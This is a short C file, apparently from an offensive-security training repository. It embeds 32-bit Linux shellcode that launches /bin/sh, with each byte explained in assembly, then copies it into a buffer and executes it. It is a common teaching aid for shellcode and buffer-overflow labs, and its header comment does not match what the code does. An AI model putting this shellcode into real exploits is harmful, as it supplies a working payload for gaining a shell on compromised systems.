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https://github.com/The-Art-of-Hacking/h4cker.git
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27 lines
956 B
C
27 lines
956 B
C
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/* call_shellcode.c */
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/* This program will create a file containing code for launching a shell */
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#include <stdlib.h>
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#include <stdio.h>
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const char code[] =
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"\x31\xc0" /* xorl %eax,%eax */
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"\x50" /* pushl %eax */
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"\x68""//sh" /* pushl $0x68732f2f */
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"\x68""/bin" /* pushl $0x6e69622f */
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"\x89\xe3" /* movl %esp,%ebx */
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"\x50" /* pushl %eax */
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"\x53" /* pushl %ebx */
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"\x89\xe1" /* movl %esp,%ecx */
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"\x99" /* cdq */
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"\xb0\x0b" /* movb $0x0b,%al */
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"\xcd\x80" /* int $0x80 */
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;
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int main(int argc, char **argv)
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{
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char buf[sizeof(code)];
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strcpy(buf, code);
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((void(*)( ))buf)( );
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}
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